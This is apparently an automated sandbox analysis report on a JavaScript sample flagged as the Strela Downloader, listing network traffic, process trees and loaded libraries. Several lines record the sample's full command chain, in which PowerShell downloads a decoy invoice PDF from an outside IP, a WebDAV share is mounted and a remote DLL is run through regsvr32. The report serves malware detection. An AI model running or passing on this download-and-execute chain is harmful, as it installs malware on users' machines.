2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.5:62196 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2081711319.000001E8503F4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2080923288.000001E852116000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2167057410.0000026664265000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2166901102.0000026664280000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2175653852.0000026664265000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2167057410.0000026664265000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/8f
Source: net.exe, 00000007.00000002.2175589632.0000026664228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sce
Source: svchost.exe, 00000009.00000002.3365680303.000001EB06000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2175611175.000001EB05EA0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3668, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 16433207582849010802.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1308:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hhuc1f3l.sxz.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 16433207582849010802.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16433207582849010802.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1744,i,11788322712337873979,12404227465735840638,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1744,i,11788322712337873979,12404227465735840638,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
